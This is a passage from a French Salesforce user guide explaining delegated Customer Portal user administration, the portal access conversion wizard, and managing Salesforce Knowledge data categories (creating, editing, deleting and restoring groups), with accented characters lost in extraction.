1. Cliquez sur Configuration Gestion des utilisateurs Profils, puis cliquez sur un profil Portail client personnalis.
Vous ne pouvez pas ajouter des droits de dlgation ou l'autorisation Super utilisateur du portail aux profils standard
Responsable du portail client, Utilisateur du portail client et Utilisateur du portail client haut volume.
2. Cliquez sur Modifier.
3. Slectionner Administrateur dlgu d'utilisateur de portail.
Lorsque vous slectionnez Administrateur dlgu d'utilisateur de portail, le Super utilisateur du portail est
automatiquement slectionn aprs avoir cliqu sur Enregistrer.
4.
5.
6.
7.

Cliquez sur Enregistrer.

Dans la liste associe Profils de portail dlgus, cliquez sur Modifier.
Slectionnez les profils Portail client auxquels vous souhaitez accorder des droits d'administration.
Cliquez sur Enregistrer.

Pour modifier les profils qu'un administrateur dlgu des utilisateurs du Portail client peut modifier :
1.
2.
3.
4.

Cliquez sur Configuration Gestion des utilisateurs Profils, puis cliquez sur un profil Portail client personnalis.
Cliquez sur Modifier dans la liste associe Profils des utilisateurs de portail dlgus.
Slectionnez les profils d'utilisateur du Portail client auxquels vous souhaitez accorder des droits d'administration.
Cliquez sur Enregistrer.

Les administrateurs dlgus du Portail client peuvent excuter les tches suivantes dans la page de dtails d'un contact :

Cliquer sur Activer l'utilisateur du Portail client pour autoriser un contact utiliser le Portail client.
Cliquer sur Afficher l'utilisateur du Portail client pour afficher les dtails de l'utilisateur du Portail client. Dans la page
de dtails d'un utilisateur du Portail client, les utilisateurs dlgus du Portail client peuvent effectuer les oprations
suivantes :
-

Cliquer sur Modifier pour modifier les dtails de l'utilisateur du Portail client.
Cliquer sur Rinitialiser le mot de passe pour rinitialiser le mot de passe de l'utilisateur du Portail client.
Cliquer sur Modifier, puis dsactiver la case Actif pour dsactiver l'utilisateur.

Octroi de l'autorisation Super utilisateur du portail aux utilisateurs

Pour accorder l'autorisation Super utilisateur du portail aux utilisateurs :
1. Cliquez sur Configuration Gestion des utilisateurs Profils, puis cliquez sur un profil Portail client personnalis.
Vous ne pouvez pas ajouter l'autorisation Super utilisateur du portail aux profils d'utilisateur standard Responsable du
portail client et Utilisateur du portail client.
2. Cliquez sur Modifier.
3. Slectionnez Super utilisateur du portail.
4. Cliquez sur Enregistrer.
Vous ne pouvez pas ajouter l'autorisation Super utilisateur du portail au profil Utilisateur du portail client haut volume.
Conseil: Pour gnrer un rapport sur les profils disposant de l'autorisation Super utilisateur du portail :
1. Notez les noms des profils disposant de l'autorisation Super utilisateur du portail .
2. Slectionnez l'onglet Rapports.
3. Dans le dossier Rapports administratifs, slectionnez le rapport Tous les utilisateurs actifs.

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1329

Pour plus d'informations, reportez-vous Rapports administratifs la page 1707.

Conseils sur la configuration de l'administration dlgue des utilisateurs du Portail client

Tenez compte des points suivants lors de la configuration de l'administration dlgue des utilisateurs duPortail client :

Dans le profil d'utilisateurs auquel vous accordez l'administration dlgue du portail :

-

Ajoutez l'autorisation Administrateur dlgu d'utilisateur de portail.

L'autorisation Super utilisateur du portail est automatiquement ajoute lorsque vous ajoutez l'autorisation
Administrateur dlgu d'utilisateur de portail et cliquez sur Enregistrer.

Ajoutez aux contacts les autorisations Crer et Modifier pour permettre aux administrateurs dlgus et utilisateurs
du portail disposant de l'autorisation Super utilisateur du portail de crer et de mettre jour les contacts associs
leur compte.
Dfinissez le paramtre d'onglet des Comptes et Contacts Valeur par dfaut active pour permettre aux
administrateurs dlgus du portail d'afficher les onglets Comptes et Contacts et de grer facilement les contacts associs
leurs comptes.
Pour plus d'informations sur les points ci-dessus, reportez-vous Cration et modification de profils la page 113.

Ajoutez les onglets Comptes et Contacts votre Portail client. Pour plus d'informations, reportez-vous Personnalisation
des onglets de votre portail client la page 1304.
Dfinissez la scurit au niveau du champ et les prsentations de page de sorte que les administrateurs dlgus des utilisateurs
du Portail client et les super utilisateurs du portail accdent uniquement aux champs compte, contact et requte que vous
spcifiez. Pour plus d'informations, reportez-vous Configuration de la scurit au niveau du champ la page 182 et Gestion
des prsentations de page la page 544.
Remarque: Pour autoriser les super utilisateurs du portail crer des requtes destines d'autres contacts
qu'eux-mmes, dfinissez la scurit au niveau du champ Nom du contact des requtes Modifiable.

Notez que pour les utilisateurs du Portail client, l'affichage des listes associes des objets auxquels ils n'ont pas accs est
automatiquement bloqu. Par exemple, si un utilisateur du Portail client affiche un contact et que la prsentation de page
du contact inclut la liste associe Opportunits, l'utilisateur du portail ne peut pas afficher cette liste car les utilisateurs du
portail n'ont pas accs aux opportunits.
Les administrateurs dlgus d'utilisateurs du portail client peuvent mettre jour les utilisateurs du portail dans tout compte
vers lequel ils sont transfrs.

Voir aussi :
Gestion des utilisateurs du portail Client

Portail client

Guide de l'utilisateur | propos de l'assistant Convertir laccs utilisateur au portail | 1330

propos de l'assistant Convertir laccs utilisateur au

portail
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir les rgles de partage :

Grer les utilisateurs

Comme les utilisateurs du portail client et du portail partenaire figurent dans la hirarchie des rles mais sont des contacts
externes qui ne doivent pas avoir accs aux donnes internes de l'organisation, vous devez configurer les paramtres de partage
de votre organisation afin d'empcher un accs inappropri par les utilisateurs du portail. Lors de la configuration d'un portail
client ou d'un portail partenaire, vous pouvez utiliser l'assistant Convertir laccs utilisateur au portail pour vous assurer qu'aucun
enregistrement ou dossier n'est partag avec un utilisateur du portail. L'assistant affecte les fonctions suivantes :
Rgles de partage
L'assistant Convertir laccs utilisateur au portail convertit les rgles de partage qui comprennent la catgorie d'ensembles
de donnes Rles et subordonns pour la remplacer par la catgorie d'ensembles de donnes Rles et subordonns internes.
La catgorie d'ensembles de donnes Rles et subordonns internes permet de crer des rgles de partage qui comprennent
tous les utilisateurs d'un rle spcifique plus les utilisateurs des rles infrieurs, l'exception des rles du portail client
et du portail partenaire.
Seules les rgles de partage l'chelle de l'organisation sont mises jour lors de la conversion des rles et des subordonns
en rles et subordonns internes. La catgorie Rles et les subordonns des files d'attente, des groupes publics, des vues
de liste, des documents et le partage manuel cr dans des enregistrements spcifiques en cliquant sur le bouton Partage
ne sont pas convertis en rles et subordonns internes.
Remarque: La catgorie d'ensembles de donnes Rles et les subordonns est disponible dans votre organisation
uniquement lorsque vous avez cr au moins un rle dans la hirarchie des rles.
La catgorie d'ensembles de donnes Rles et les subordonns internes est disponible dans votre organisation
uniquement lorsque vous avez cr au moins un rle dans la hirarchie des rleset activ un portail.
Partage de dossiers
L'assistant Convertir laccs utilisateur au portail permet galement de convertir immdiatement les niveaux d'accs aux
dossiers de rapports, de tableaux de bord ou documents, accessibles aux Rles et les subordonns, vers un niveau d'accs
plus restrictif : Rles et subordonns internes. Ils permettent d'empcher l'accs aux dossiers par des utilisateurs du portail
client et du portail partenaire. L'utilisation de l'assistant est plus efficace que la localisation de dossiers diffrents dans
Salesforce.com et la configuration de leur niveau d'accs individuel.
L'assistant ne convertit pas les dossiers accessibles l'ensemble de utilisateurs ou des groupes publics. Vous devez mettre
jour manuellement les niveaux d'accs dans ces dossiers.

Portail client

Guide de l'utilisateur | Utilisation de lassistant Convertir laccs utilisateur au portail | 1331

Lors de l'enregistrement initial d'un portail client ou d'un portail partenaire, Salesforce.com affiche automatiquement l'assistant
Convertir laccs utilisateur au portail.

Voir aussi :
Utilisation de lassistant Convertir laccs utilisateur au portail
Configuration de l'accs utilisateur au portail Client
Activation de votre portail Client
Activation du portail partenaire

Utilisation de lassistant Convertir laccs utilisateur au

portail
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir les rgles de partage :

Grer les utilisateurs

Lors de la configuration d'un portail client ou d'un portail partenaire, vous pouvez utiliser l'assistant Convertir laccs utilisateur
au portail pour vous assurer qu'aucun enregistrement ou dossier n'est partag avec un utilisateur du portail.
Pour utiliser l'assistant :
1. Pour le portail client, cliquez sur Configuration Personnalisation Portail client Paramtres. Pour le portail
partenaire, cliquez sur Configuration Personnalisation Partenaires Paramtres.
2. Cliquez sur le lien Convertir laccs utilisateur au portail.
3. Activez les cases en regard des rgles de partage que vous souhaitez convertir en rles et subordonns internes.
Si n'existe aucune rgle de partage convertir mais que vous souhaitez convertir le niveau d'accs dans les dossiers, passez
l'tape suivante.
4. Cliquez sur Suivant.
5. Activez les cases en regard des dossiers dont vous souhaitez modifier les niveaux d'accs en rles et subordonns internes.
L'assistant ne convertit pas les dossiers accessibles l'ensemble de utilisateurs ou des groupes publics. Vous devez mettre
jour manuellement les niveaux d'accs dans ces dossiers.
Un dossier peut s'afficher sur plusieurs lignes dans l'assistant. En effet, l'assistant affiche une ligne pour chaque catgorie
Rle et subordonns avec laquelle un dossier est partag.
6. Cliquez sur Suivant.
7. Cliquez sur Enregistrer pour appliquer vos modifications slectionnes.

Voir aussi :
propos de l'assistant Convertir laccs utilisateur au portail

Catgories de donnes
Que sont les catgories de donnes ?
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher la page Catgories de donnes :

Afficher les catgories de donnes

Pour crer, modifier ou supprimer des catgories de donnes Grer les catgories de donnes
:

Les Catgories de donnes sont des ensembles de critres organiss de faon hirarchique dans un groupe de catgories. Les
catgories de donnes permettent de classer les articles de votre base de connaissances l'aide d'une hirarchie logique de
catgories. Les catgories facilitent la recherche d'articles pour les agents et les clients. Les administrateurs utilisent les catgories
de donnes pour contrler l'accs aux articles.
Par exemple, si votre entreprise vend du mobilier, vous pouvez utiliser des catgories telles que Chaises, Bureaux et Bibliothques
dans le groupe de catgories Type de mobilier. Vous pouvez en outre utiliser des catgories telles que Instructions de montage,
Listes de pices et Notices de rappel dans le groupe de catgories Documentation produit.
Avantages des catgories de donnes
Classement logique des articles
En tant qu'administrateur de base de connaissances, vous pouvez organiser vos articles dans une hirarchie logique de
dossiers et marquer vos articles avec des attributs pertinents dans votre secteur.
Contrle bas sur le rle de la visibilit des articles
En tant qu'administraeur de base de connaissances, vous pouvez centraliser le contrle des articles en mappant les rles
de la hirarchie sur des catgories dans la hirarchie de catgories de donnes. Lorsqu'un article est class dans une
catgorie, les utilisateurs de rles mapps peuvent le visualiser automatiquement.
Filtrage des articles
En tant qu'agent de support, lorsque les articles sont classs en catgories logiques, vous pouvez rapidement et aisment
localiser un article en filtrant la base de connaissances de votre organisation.
Navigation dans les articles
En tant qu'utilisateur final, vous pouvez parcourir les catgories dans la base de connaissances publique d'une entreprise
afin de rechercher les informations dont vous avez besoin pour rsoudre un problme.
Vue d'ensemble des catgories de donnes
Un groupe de catgories est un conteneur qui comprend un ensemble de catgories et qui correspond au nom du menu droulant
de la catgorie dans la base de connaissances Salesforce Knowledge. Par exemple, si vous crez un groupe de catgorie Produits
dans la page Configuration Personnalisation Catgories de donnes, un menu droulant Produits s'affiche sous l'onglet
Gestion des articles et Articles. Lorsque vous ajoutez des catgories un groupe de catgories, vous laborez une hierarchie
qui peut comprendre jusqu' cinq niveaux. Chaque catgorie peut comprendre une catgorie parent et de nombreuses catgories

Catgories de donnes

Guide de l'utilisateur | Que sont les catgories de donnes ? | 1333

semblables et enfant, jusqu' 100 catgories au sein du mme groupe. La hirarchie permet aux utilisateurs qui recherchent
des informations l'aide de catgories, de rcuprer l'ensemble des articles associs.
Par dfaut, tous les utilisateurs de la base de connaissances Salesforce Knowledge ont accs l'ensemble des catgories. Vous
pouvez toutefois restreindre l'accs aux articles pour des utilisateurs spcifiques en slectionnant les catgories visibles selon le
rle d'utilisateur.
Conseils de mise en uvre
Tenez comptez des points suivants lors de la planification et de la mise en uvre de catgories de donnes pour votre organisation
:

Vous pouvez crer jusqu' trois groupes de catgories avec cinq niveaux hirarchiques au maximum dans chaque groupe.
Chaque groupe de catgories peut comprendre jusqu' 100 catgories. Pour augmenter ces limites, contactez salesforce.com.
Les groupes de catgories sont masqus aux utilisateurs tant qu'ils ne sont pas activs. N'activez pas un groupe de catgories
avant d'avoir dfini ses catgories et les paramtres d'accs, y compris leur mappage sur des rles.
Lors de l'attribution de catgories des articles, vous pouvez slectionner jusqu' 10 catgories dans un groupe de catgories.
Si un article ne contient aucune catgorie, il s'affiche uniquement si l'option Aucun filtre est utilise dans le menu
droulant de la catgorie.
Lors de la recherche d'articles, la slection d'une catgorie comprend automatiquement son parent et ses enfants, ainsi que
les grands-parents ventuels (catgories de troisime niveau), y compris la catgorie suprieure. Par exemple, si une hirarchie
de catgories comporte les niveaux Tous les produits, Commutateurs, Rseaux optiques et Cur du rseau, la slection de
Rseaux optiques dans le menu droulant de la catgorie renvoie des articles attribus l'une des quatre catgories.
Cependant, elle ne renvoie aucun article attribu des catgories semblables. Par exemple, si Commutateurs comportait
une catgorie semblable appele Routeurs, la slection de Rseaux optiques ne renverrait aucun article class avec les
Routeurs. Les paramtres de visibilit de catgorie peuvent limiter les articles spcifiques que vous trouvez.
Suppression d'une catgorie :
-

Suppression d'un groupe de catgories :

-

La suppression est dfinitive. Une catgorie supprime ne peut tre restaure. Elle n'est pas place dans la Corbeille.
La suppression des catgories enfant est galement dfinitive.
Cette opration supprime la catgorie et ses enfants du menu droulant de la catgorie, des onglets Articles et Gestion
des articles, de la base de connaissances publique de votre entreprise ainsi que du Portail client de votre entreprise.
Les associations entre les catgories et les articles sont supprimes. Vous pouvez rattribuer des articles une autre
catgorie.
Le mappage sur un rle est supprim. Les utilisateurs de ce rle perdent toute visibilit des articles qui contenaient la
catgorie.

Le groupe de catgories est dplac vers la section Groupes de catgories supprims, qui correspond une corbeille.
Vous pouvez visualiser ces lments dans cette section, sans pouvoir les modifier. Elle conserve les groupes de catgories
pendant 45 jours avant de les supprimer dfinitivement, sans possibilit de les restaurer. Durant cette priode de 45
jours, vous pouvez restaurer un groupe de catgories ou le supprimer dfinitivement.
Toutes les catgories du groupe sont supprimes.
Toutes les associations entre les catgories et les articles du groupe sont supprimes.
Toutes les associations entre les catgories et les rles du groupe sont supprimes et les utilisateurs perdent tout accs
ces catgories.
Le menu droulant de la catgorie est supprim des onglets Articles et Gestion des articles, du Portail client de votre
entreprise, ainsi que de la base de connaissances publique de votre entreprise.

Vous pouvez traduire les tiquettes des catgories et des groupes de catgories l'aide du Systme de traduction.

Catgories de donnes

Guide de l'utilisateur | Gestion des catgories de donnes | 1334

Les meilleures pratiques

Tenez comptez des points suivants lors de l'utilisation de catgories de donnes :

Pour grer rapidement les catgories de donnes, utilisez des raccourcis clavier.
Une fois les catgories cres ou mises jour, vous pouvez configurer les rgles de visibilit des groupes de catgories.
Enregistrez frquemment vos modifications. Plus vous effectuez d'actions avant de cliquer sur Enregistrer, plus
l'enregistrement est long.

Voir aussi :
Gestion des catgories de donnes
Prsentation de la base de connaissances Salesforce Knowledge

Gestion des catgories de donnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher la page Catgories de donnes :

Afficher les catgories de donnes

Pour crer, modifier ou supprimer des catgories de donnes Grer les catgories de donnes
:

Les Catgories de donnes sont des ensembles de critres organiss de faon hirarchique dans un groupe de catgories. Les
catgories de donnes permettent de classer les articles de votre base de connaissances l'aide d'une hirarchie logique de
catgories. Elles facilitent la recherche d'articles pour les agents et les clients. Les administrateurs utilisent les catgories de
donnes pour contrler l'accs aux articles.
Cliquez sur Configuration Personnalisation Catgories de donnes pour afficher la page Catgories de donnes. Pour
crer des catgories de donnes :
1. Crer un groupe de catgories. Un groupe de catgories est le conteneur d'un ensemble de catgories. Il porte le nom du
menu droulant de la catgorie dans les onglets Gestion des articles et Articles. Par exemple, si vous crez deux groupes
de catgories appels Gographie et Produits, les onglets Gestion des articles et Articles contiennent deux menus de
catgories qui permettent de slectionner les catgories spcifiques : Gographie et Produits. Vous devez commencer par
crer un groupe de catgories avant de crer les catgories qu'il contient.
2. Ajouter des catgories un groupe de catgories. Une fois le groupe de catgories cr, vous pouvez crer une hirarchie
de catgories dans ce groupe. Ces valeurs sont slectionnes par les utilisateurs lorsqu'ils attribuent une catgorie un article
ou recherchent des articles.
partir de la page Catgorie de donnes, vous pouvez effectuer les oprations suivantes :

Modifier les catgories existantes. Vous pouvez modifier le nom d'une catgorie, mettre jour ses attributs, la dplacer vers
un autre emplacement dans la hirarchie ou rorganiser les catgories par ordre alphabtique.
Supprimer un groupe de catgories. Vous pouvez supprimer, restaurer ou supprimer dfinitivement un groupe de catgories.
Supprimer une catgorie. Vous pouvez supprimer dfinitivement une catgorie.

Catgories de donnes

Guide de l'utilisateur | Cration et modification de groupes de catgories | 1335

Traduire les catgories. Vous pouvez traduire vos catgories dans les langues que vous souhaitez prendre en charge.
ATTENTION: La suppression d'un groupe de catgories supprime toutes ses catgories et toutes les associations
entre les catgories et les articles. De mme, la suppression d'une catgorie supprime toutes les associations entre la
catgorie et les articles.
Conseil: Les raccourcis clavier facilitent et acclrent l'excution des tches dans la page Catgories de donnes.

Voir aussi :
Que sont les catgories de donnes ?
Cration et modification de groupes de catgories
Suppression et restauration de groupes de catgories
Ajout de catgories de donnes
Modification et positionnement des catgories
Suppression de catgories de donnes
Terminologie utile relative la base de connaissances Salesforce Knowledge

Cration et modification de groupes de catgories

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher la page Catgories de donnes :

Afficher les catgories de donnes

Pour crer, modifier ou supprimer des catgories de donnes Grer les catgories de donnes
:

Un groupe de catgories est un conteneur d'une hirarchie logique de catgories de donnes. Par exemple, pour classer les articles
par zones commerciales et par divisions oprationnelles, crez deux catgories, Zone commerciales et Divisions oprationnelles.
Le groupe de catgories Zones commerciales peut comprendre une hirarchie gographique, par exemple Toutes les zones
commerciales au niveau suprieur, puis Europe, Amrique du Nord et Asie au deuxime niveau, et ainsi de suite.
Pour crer ou modifier un groupe de catgories, procdez comme suit :
1. Cliquez sur Configuration Personnalisation Catgories de donnes.
2. Pour crer un groupe de catgories, cliquez sur Crer dans la section Groupes de catgories. Par dfaut, vous pouvez crer
jusqu' cinq groupes de catgories. Pour demander des groupes de catgories supplmentaires, contactez salesforce.com.
Pour modifier un groupe de catgories existant, survolez son nom, puis cliquez sur l'icne Modifier le groupe de catgories
(

3. Saisissez le Nom du groupe. Ce nom s'affiche en tant que titre du menu droulant de la catgorie, dans les onglets Gestion
des articles et Articles, et, le cas chant, dans le Portail client et la base de connaissances publique.

Catgories de donnes

Guide de l'utilisateur | Suppression et restauration de groupes de catgories | 1336

4. Vous pouvez galement modifier le champ Nom unique de groupe. Ce nom est unique et permet d'identifier le groupe
de catgories dans l'API des services Web Force.com.
5. Vous pouvez galement saisir une description du groupe de catgories.
6. Cliquez sur Enregistrer.
Vous pouvez dsormais ajouter des catgories la page 1337 votre groupe de catgories. Lorsque vous crez un groupe de
catgories, Salesforce.com cre automatiquement une catgorie de niveau suprieur dans le groupe nomm Tous. Vous pouvez
galement double-cliquer sur le groupe Tous pour le renommer.
Activation de groupes de catgories
Lorsque vous ajoutez un groupe de catgories, il est dsactiv par dfaut et affiche uniquement les pages de configuration
administrative des Catgories de donnes et des Rles. Laissez vos groupes de catgories dsactivs afin de configurer votre
hirarchie de catgories et d'attribuer une visibilit des catgories base sur un rle. Tant que vous n'activez pas manuellement
un groupe de catgories, il ne s'affiche pas en tant que menu droulant dans l'onglet Articles ou Gestion des articles, dans la
base de connaissances de votre entreprise ou dans son Portail client.
Pour activer un groupe de catgories et le rendre disponible aux utilisateurs, survolez le nom du groupe de catgories, puis
cliquez sur l'icone Activer le Groupe de catgories (

).

Voir aussi :
Que sont les catgories de donnes ?
Gestion des catgories de donnes
Ajout de catgories de donnes
Suppression et restauration de groupes de catgories
Gestion des articles
Vue d'ensemble des paramtres de visibilit des groupes de catgories

Suppression et restauration de groupes de catgories

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher la page Catgories de donnes :

Afficher les catgories de donnes

Pour crer, modifier ou supprimer des catgories de donnes Grer les catgories de donnes
:

ATTENTION: La suppression d'un groupe de catgories supprime toutes ses catgories et toutes les associations
entre les catgories et les articles. Pour comprendre les consquences de la suppression de groupes de catgories, lisez
attentivement et compltement cette rubrique.
Pour supprimer un groupe de catgories, procdez comme suit :
1. Cliquez sur Configuration Personnalisation Catgories de donnes.

Catgories de donnes

Guide de l'utilisateur | Ajout de catgories de donnes | 1337

2. Survolez le nom du groupe de catgories.

3.
Cliquez sur l'icne Supprimer un groupe de catgories (
).
4. Activez la case de la bote de dialogue de confirmation, puis cliquez sur OK.
Consquences de la suppression de groupes de catgories
Suppression d'un groupe de catgories :

Le groupe de catgories est dplac vers la section Groupes de catgories supprims, qui correspond une corbeille. Vous
pouvez visualiser ces lments dans cette section, sans pouvoir les modifier. Elle conserve les groupes de catgories pendant
45 jours avant de les supprimer dfinitivement, sans possibilit de les restaurer. Durant cette priode de 45 jours, vous
pouvez restaurer un groupe de catgories ou le supprimer dfinitivement.
Toutes les catgories du groupe sont supprimes.
Toutes les associations entre les catgories et les articles du groupe sont supprimes.
Toutes les associations entre les catgories et les rles du groupe sont supprimes et les utilisateurs perdent tout accs ces
catgories.
Le menu droulant de la catgorie est supprim des onglets Articles et Gestion des articles, du Portail client de votre
entreprise, ainsi que de la base de connaissances publique de votre entreprise.

Restauration de groupes de catgories

Pour restaurer un groupe de catgories supprim, procdez comme suit :
1. Dans la section Groupes de catgories supprims, survolez le nom du groupe de catgories.
2.
Cliquez sur l'icne Restaurer le groupe de catgories (
).
Le groupe de catgories est dplac vers la section Groupes de catgories en tant que groupe de catgories inactif, et les
associations avec les articles et les rles sont restaures.

Voir aussi :
Cration et modification de groupes de catgories
Gestion des catgories de donnes

Ajout de catgories de donnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher la page Catgories de donnes :

Afficher les catgories de donnes

Pour crer, modifier ou supprimer des catgories de donnes Grer les catgories de donnes
:

Les Catgories de donnes sont des ensembles de critres organiss de faon hirarchique dans un groupe de catgories. Les
catgories de donnes permettent de classer les articles de votre base de connaissances l'aide d'une hirarchie logique de

Catgories de donnes

Guide de l'utilisateur | Ajout de catgories de donnes | 1338

catgories. Elles facilitent la recherche d'articles pour les agents et les clients. Les administrateurs utilisent les catgories de
donnes pour contrler l'accs aux articles.
Remarque: La plupart des tapes ci-dessous peuvent tre effectues l'aide de raccourcis clavier.

Par dfaut, pour chaque groupe de catgories, vous pouvez crer jusqu' 100 catgories et les organiser dans cinq niveaux
hirarchiques au maximum. Pour obtenir des catgories ou des niveaux hirarchiques supplmentaires, contactez salesforce.com.
Pour ajouter des catgories un groupe de catgories, procdez comme suit :
1.
2.
3.
4.
5.

Cliquez sur Configuration Personnalisation Catgories de donnes.

Cliquez sur le nom du groupe de catgories.
Cliquez sur une catgorie situe au niveau suprieur (parent) ou au mme niveau (semblable) que la catgorie ajouter.
Cliquez sur Actions, puis slectionnez une action : Ajouter une catgorie enfant ou Ajouter une catgorie semblable.
Saisissez le nom de la catgorie.
Dans la mesure du possible, Salesforce.com rutilise automatiquement le nom que vous avez saisi comme Nom unique
de catgorie, un champ systme requis par l'API des services Web Force.com.

6. Cliquez sur Ajouter. Vous pouvez galement appuyez sur Entre.

7. Cliquez sur Enregistrer.
Conseil: Enregistrez frquemment vos modifications. Plus vous effectuez d'actions avant de cliquer sur Enregistrer,
plus l'enregistrement est long.

Conseil: Par dfaut, tous les utilisateurs de la base de connaissances Salesforce Knowledge peuvent afficher toutes les
catgories. Une fois vos catgories de donnes configures, vous pouvez restreindre la visibilit des catgories en fonction
du rle. Restreindre la visibilit en fonction du rle garantit que les utilisateurs accdent uniquement aux articles qu'ils
sont autoriss afficher.

Voir aussi :
Que sont les catgories de donnes ?
Gestion des catgories de donnes
Modification et positionnement des catgories
Suppression de catgories de donnes
Raccourcis clavier pour les catgories de donnes

Catgories de donnes

Guide de l'utilisateur | Modification et positionnement des catgories | 1339

Modification et positionnement des catgories

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher la page Catgories de donnes :

Afficher les catgories de donnes

Pour crer, modifier ou supprimer des catgories de donnes Grer les catgories de donnes
:

ATTENTION: La modification de catgories peut entraner de longs dlais de traitement, changer la visibilit des
articles et leur altrer leur classement, en autres consquences importantes. Avant de modifier des catgories, lisez
attentivement et compltement cette rubrique.
Pour modifier les catgories d'un groupe de catgories ainsi que leur position dans la hirarchie, procdez comme suit :
1. Cliquez sur Configuration Personnalisation Catgories de donnes.
2. Cliquez sur le nom d'un groupe de catgories.
3. Vous pouvez galement cliquer sur Dvelopper tout pour afficher la hirarchie de catgories complte ou sur Rduire tout
pour afficher uniquement les catgories de niveau suprieur.
4. Double-cliquez sur une catgorie pour changer son nom ou son Nom API unique.
5. Utilisez la fonctionnalit glisser-dposer pour repositionner une catgorie dans la hirarchie. Pendant le dplacement, une
icne rouge indique une destination non valide et une icne verte indique une destination valide :

Faites glisser une catgorie sur une autre afin de la repositionner comme un enfant de la catgorie cible. Par exemple,
pour positionner France au niveau infrieur Europe, faites glisser France sur Europe. Une fois positionne, la catgorie
s'affiche sous les autres catgories enfant de mme niveau.
Faites glisser une catgorie sur une ligne qui borde une autre catgorie afin de la repositionner comme un semblable de
cette catgorie. Par exemple, pour positionner France entre Espagne et Allemagne, faites glisser France sur la ligne qui
spare Espagne et Allemagne.

6. Survolez un nom de catgorie, puis slectionnez Trier les catgories enfant par ordre alphabtique
dans la liste droulante Actions afin de rorganiser les enfants de cette catgorie par ordre alphabtique. Cette option affecte
uniquement les enfants du premier niveau, pas les petits-enfants ou ceux des niveaux infrieurs.
7. Lors de la modification d'une hirarchie de catgories, cliquez sur Annuler pour dfaire vos dernires actions. l'inverse,
cliquez sur Rpter pour passer l'action suivante que vous avez excute.
8. Cliquez sur Enregistrer.
Conseil: Enregistrez frquemment vos modifications. Plus vous effectuez d'actions avant de cliquer sur Enregistrer,
plus l'enregistrement est long.
9. Vous serez averti par e-mail une fois le processus d'enregistrement termin.
Ce processus d'enregistrement recalcule les lments suivants :

Le contenu du menu droulant de la catgorie.

Catgories de donnes

Guide de l'utilisateur | Modification et positionnement des catgories | 1340

La visibilit des articles base sur les rles des utilisateurs. Les articles que les utilisateurs peuvent afficher et modifier.
Les articles associs des catgories. Le classement des articles peut changer.
Important: Modifiez la hirarchie des catgories lorsque l'activit des utilisateurs est faible. Le processus
d'enregistrement peut entraner des calculs longs, complexes et ncessiter un dlai important. Durant ce processus,
les utilisateurs peuvent rencontrer des problmes de performances en recherchant des articles ou en utilisant des listes
droulantes de catgories. En vue de limiter tout dsagrment ventuel, planifiez la modification de catgories lorsque
le systme est peu utilis.

Exemple : Consquences de la modification de la hirarchie sur le classement des articles

Le classement d'un article dans une catgorie parent accorde implicitement l'accs aux enfants de cette catgorie. Vous ne
pouvez pas appliquer explicitement la fois une catgorie parent et l'un de ses enfants un article. Dans la page de modification
de l'article, la slection d'une catgorie parent dsactive ses catgories enfant que vous ne pouvez pas slectionner en mme
temps que la catgorie parent. Salesforce.com respecte cet tat lorsque vous dplacez une catgorie vers un nouveau parent. Il
empche l'ajout explicite d'une catgorie enfant un article lorsque la nouvelle catgorie parent est dj prsente.
Dans l'exemple prsent plus haut, la catgorie Assistants personnels est dplace depuis la catgorie parent d'origine Ordinateurs
vers la nouvelle catgorie parent lectronique grand public. Par consquent, le classement des articles peut changer ou non,
selon les cas :

Les articles initialement classs la fois dans lectronique grand public et dans Assistants personnels perdent Assistants
personnels, car lectronique grand public inclut dsormais Assistants personnels.
Les articles initialement classs uniquement dans lectronique grand public, pas dans Assistants personnels, ne changent
pas. L'accs aux Assistants personnels est dsormais implicite.
Les articles initialement classs uniquement dans Assistants personnels, pas dans lectronique grand public, conservent
Assistants personnels.

Voir aussi :
Que sont les catgories de donnes ?
Gestion des catgories de donnes
Ajout de catgories de donnes
Suppression de catgories de donnes
Raccourcis clavier pour les catgories de donnes

Catgories de donnes

Guide de l'utilisateur | Suppression de catgories de donnes | 1341

Suppression de catgories de donnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher la page Catgories de donnes :

Afficher les catgories de donnes

Pour crer, modifier ou supprimer des catgories de donnes Grer les catgories de donnes
:

ATTENTION: La suppression de catgories peut entraner la perte dfinitive de donnes, de longs dlais de traitement,
la modification de la visibilit des articles et l'altration de leur classement, en autres consquences importantes. Avant
de supprimer des catgories, lisez attentivement et compltement cette rubrique.
Pour supprimer une catgorie, procdez comme suit :
1. Cliquez sur Configuration Personnalisation Catgories de donnes.
2. Cliquez sur le nom d'un groupe de catgories.
3. Cliquez sur le nom d'une catgorie. Si ncessaire, cliquez sur Dvelopper tout pour afficher toutes les catgories que
contient le groupe de catgories.
4. Appuyez sur la touche Suppr ou slectionnez Supprimer la catgorie dans la liste droulante Actions.
5. Cliquez sur OK dans la bote de dialogue de confirmation.
6. Slectionnez un mode de classement des articles associs la catgorie supprime ou ses enfants :

Attrribuez la catgorie parent de la catgorie supprime.

Attribuez une catgorie diffrente. Vous pouvez slectionner toute autre catgorie dans ce groupe de catgories.
Remarque: La catgorie slectionne ne peut tre supprime avant l'enregistrement de votre travail.

N'attribuez pas les articles d'une nouvelle catgorie dans ce groupe de catgories.

Dans tous les cas, les articles conservent leur catgorie dans les autres groupes de catgories.
7. Cliquez sur Enregistrer.
Suppression d'une catgorie :

La suppression est dfinitive. Une catgorie supprime ne peut tre restaure. Elle n'est pas place dans la Corbeille.
La suppression des catgories enfant est galement dfinitive.
Cette opration supprime la catgorie et ses enfants du menu droulant de la catgorie, des onglets Articles et Gestion des
articles, de la base de connaissances publique de votre entreprise ainsi que du Portail client de votre entreprise.
Les associations entre les catgories et les articles sont supprimes. Vous pouvez rattribuer des articles une autre catgorie.
